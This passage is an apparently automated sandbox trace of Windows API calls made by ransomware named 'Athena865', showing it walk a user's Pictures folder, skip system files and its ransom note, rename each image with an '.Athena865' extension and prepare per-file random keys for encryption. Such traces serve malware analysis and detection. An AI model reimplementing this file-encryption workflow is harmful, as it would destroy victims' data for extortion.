(lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9cQ52xVIt0iT_.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\s9cq52xvit0it_.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9cQ52xVIt0iT_.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\s9cq52xvit0it_.gif.athena865"), dwFlags=0x1) returned 1 [0051.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9cQ52xVIt0iT_.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\s9cq52xvit0it_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.810] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81738) returned 1 [0051.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.810] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.811] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.811] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.811] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14250, lpName=0x0) returned 0x154 [0051.811] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14250) returned 0x100000 [0051.814] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.815] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.815] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.816] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.817] CloseHandle (hObject=0x154) returned 1 [0051.817] CloseHandle (hObject=0x17c) returned 1 [0051.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.819] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ae3df0, ftCreationTime.dwHighDateTime=0x1d4ccb7, ftLastAccessTime.dwLowDateTime=0xea8e1cc0, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0xea8e1cc0, ftLastWriteTime.dwHighDateTime=0x1d4c612, nFileSizeHigh=0x0, nFileSizeLow=0x44b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="suDg l.jpg", cAlternateFileName="SUDGL~1.JPG")) returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2=".") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="..") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="windows") returned -1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="bootmgr") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="temp") returned -1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="pagefile.sys") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="boot") returned 1 [0051.819] lstrcmpiW (lpString1="suDg l.jpg", lpString2="ids.txt") returned 1 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2="ntuser.dat") returned 1 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2="perflogs") returned 1 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2="MSBuild") returned 1 [0051.820] lstrlenW (lpString="suDg l.jpg") returned 10 [0051.820] lstrcpyW (in: lpString1=0x241e8b8, lpString2="suDg l.jpg" | out: lpString1="suDg l.jpg") returned="suDg l.jpg" [0051.820] lstrlenW (lpString="suDg l.jpg") returned 10 [0051.820] lstrlenW (lpString="Athena865") returned 9 [0051.820] lstrcmpiW (lpString1="uDg l.jpg", lpString2="Athena865") returned 1 [0051.820] lstrlenW (lpString=".dll") returned 4 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2=".dll") returned 1 [0051.820] lstrlenW (lpString=".lnk") returned 4 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2=".lnk") returned 1 [0051.820] lstrlenW (lpString=".ini") returned 4 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2=".ini") returned 1 [0051.820] lstrlenW (lpString=".sys") returned 4 [0051.820] lstrcmpiW (lpString1="suDg l.jpg", lpString2=".sys") returned 1 [0051.820] lstrlenW (lpString="suDg l.jpg") returned 10 [0051.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\suDg l.jpg.Athena865") returned 76 [0051.820] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\suDg l.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\sudg l.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\suDg l.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\sudg l.jpg.athena865"), dwFlags=0x1) returned 1 [0051.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\suDg l.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\sudg l.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17589) returned 1 [0051.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.823] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.823] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.823] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47c0, lpName=0x0) returned 0x154 [0051.823] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47c0) returned 0x100000 [0051.824] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.825] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.825] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.826] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.826] CloseHandle (hObject=0x154) returned 1 [0051.826] CloseHandle (hObject=0x17c) returned 1 [0051.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.834] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f06d60, ftCreationTime.dwHighDateTime=0x1d4d29b, ftLastAccessTime.dwLowDateTime=0xadf510b0, ftLastAccessTime.dwHighDateTime=0x1d4d478, ftLastWriteTime.dwLowDateTime=0xadf510b0, ftLastWriteTime.dwHighDateTime=0x1d4d478, nFileSizeHigh=0x0, nFileSizeLow=0x5aaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tUA 7lQiLXUB.gif", cAlternateFileName="TUA7LQ~1.GIF")) returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2=".") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="..") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="windows") returned -1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="bootmgr") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="temp") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="pagefile.sys") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="boot") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="ids.txt") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="ntuser.dat") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="perflogs") returned 1 [0051.834] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2="MSBuild") returned 1 [0051.835] lstrlenW (lpString="tUA 7lQiLXUB.gif") returned 16 [0051.835] lstrcpyW (in: lpString1=0x241e8b8, lpString2="tUA 7lQiLXUB.gif" | out: lpString1="tUA 7lQiLXUB.gif") returned="tUA 7lQiLXUB.gif" [0051.835] lstrlenW (lpString="tUA 7lQiLXUB.gif") returned 16 [0051.835] lstrlenW (lpString="Athena865") returned 9 [0051.835] lstrcmpiW (lpString1="iLXUB.gif", lpString2="Athena865") returned 1 [0051.835] lstrlenW (lpString=".dll") returned 4 [0051.835] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2=".dll") returned 1 [0051.835] lstrlenW (lpString=".lnk") returned 4 [0051.835] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2=".lnk") returned 1 [0051.835] lstrlenW (lpString=".ini") returned 4 [0051.835] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2=".ini") returned 1 [0051.835] lstrlenW (lpString=".sys") returned 4 [0051.835] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif", lpString2=".sys") returned 1 [0051.835] lstrlenW (lpString="tUA 7lQiLXUB.gif") returned 16 [0051.835] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\tUA 7lQiLXUB.gif.Athena865") returned 82 [0051.835] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\tUA 7lQiLXUB.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\tua 7lqilxub.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\tUA 7lQiLXUB.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\tua 7lqilxub.gif.athena865"), dwFlags=0x1) returned 1 [0051.836] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\tUA 7lQiLXUB.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\tua 7lqilxub.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.836] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23210) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.836] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.837] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.837] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.837] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5db0, lpName=0x0) returned 0x154 [0051.837] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5db0) returned 0x100000 [0051.838] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.839] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.839] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.844] lstrcpyW (in: lpString1=0x241e8b8, lpString2="UAIEO6U.jpg" | out: lpString1="UAIEO6U.jpg") returned="UAIEO6U.jpg" [0051.844] lstrlenW (lpString="UAIEO6U.jpg") returned 11 [0051.844] lstrlenW (lpString="Athena865") returned 9 [0051.844] lstrcmpiW (lpString1="IEO6U.jpg", lpString2="Athena865") returned 1 [0051.844] lstrlenW (lpString=".dll") returned 4 [0051.844] lstrcmpiW (lpString1="UAIEO6U.jpg", lpString2=".dll") returned 1 [0051.844] lstrlenW (lpString=".lnk") returned 4 [0051.844] lstrcmpiW (lpString1="UAIEO6U.jpg", lpString2=".lnk") returned 1 [0051.844] lstrlenW (lpString=".ini") returned 4 [0051.844] lstrcmpiW (lpString1="UAIEO6U.jpg", lpString2=".ini") returned 1 [0051.845] lstrlenW (lpString=".sys") returned 4 [0051.845] lstrcmpiW (lpString1="UAIEO6U.jpg", lpString2=".sys") returned 1 [0051.845] lstrlenW (lpString="UAIEO6U.jpg") returned 11 [0051.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\UAIEO6U.jpg.Athena865") returned 77 [0051.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\UAIEO6U.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\uaieo6u.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\UAIEO6U.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\uaieo6u.jpg.athena865"), dwFlags=0x1) returned 1 [0051.845] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\UAIEO6U.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\uaieo6u.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.845] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10738) returned 1 [0051.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.847] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.847] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.847] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d00, lpName=0x0) returned 0x154 [0051.847] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d00) returned 0x100000 [0051.847] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.848] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.848] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.850] lstrcpyW (in: lpString1=0x241e8b8, lpString2="V-I6Tk8WtrI.jpg" | out: lpString1="V-I6Tk8WtrI.jpg") returned="V-I6Tk8WtrI.jpg" [0051.850] lstrlenW (lpString="V-I6Tk8WtrI.jpg") returned 15 [0051.850] lstrlenW (lpString="Athena865") returned 9 [0051.850] lstrcmpiW (lpString1="8WtrI.jpg", lpString2="Athena865") returned -1 [0051.850] lstrlenW (lpString=".dll") returned 4 [0051.850] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg", lpString2=".dll") returned 1 [0051.850] lstrlenW (lpString=".lnk") returned 4 [0051.850] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg", lpString2=".lnk") returned 1 [0051.850] lstrlenW (lpString=".ini") returned 4 [0051.850] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg", lpString2=".ini") returned 1 [0051.850] lstrlenW (lpString=".sys") returned 4 [0051.850] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg", lpString2=".sys") returned 1 [0051.850] lstrlenW (lpString="V-I6Tk8WtrI.jpg") returned 15 [0051.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\V-I6Tk8WtrI.jpg.Athena865") returned 81 [0051.850] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\V-I6Tk8WtrI.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\v-i6tk8wtri.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\V-I6Tk8WtrI.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\v-i6tk8wtri.jpg.athena865"), dwFlags=0x1) returned 1 [0051.851] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\V-I6Tk8WtrI.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\v-i6tk8wtri.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49834) returned 1 [0051.851] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.852] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.852] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.852] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5b0, lpName=0x0) returned 0x154 [0051.852] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5b0) returned 0x100000 [0051.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.855] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.855] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.857] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Ve-V1J95qqU3-IuMmgm7.png" | out: lpString1="Ve-V1J95qqU3-IuMmgm7.png") returned="Ve-V1J95qqU3-IuMmgm7.png" [0051.857] lstrlenW (lpString="Ve-V1J95qqU3-IuMmgm7.png") returned 24 [0051.857] lstrlenW (lpString="Athena865") returned 9 [0051.857] lstrcmpiW (lpString1="Mmgm7.png", lpString2="Athena865") returned 1 [0051.857] lstrlenW (lpString=".dll") returned 4 [0051.857] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png", lpString2=".dll") returned 1 [0051.857] lstrlenW (lpString=".lnk") returned 4 [0051.857] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png", lpString2=".lnk") returned 1 [0051.857] lstrlenW (lpString=".ini") returned 4 [0051.857] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png", lpString2=".ini") returned 1 [0051.857] lstrlenW (lpString=".sys") returned 4 [0051.857] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png", lpString2=".sys") returned 1 [0051.857] lstrlenW (lpString="Ve-V1J95qqU3-IuMmgm7.png") returned 24 [0051.857] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned 90 [0051.857] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ve-V1J95qqU3-IuMmgm7.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ve-v1j95qqu3-iummgm7.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ve-V1J95qqU3-IuMmgm7.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ve-v1j95qqu3-iummgm7.png.athena865"), dwFlags=0x1) returned 1 [0051.858] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ve-V1J95qqU3-IuMmgm7.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\ve-v1j95qqu3-iummgm7.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.858] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50175) returned 1 [0051.858] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.859] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.859] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.859] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc700, lpName=0x0) returned 0x154 [0051.859] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc700) returned 0x100000 [0051.861] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.861] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: 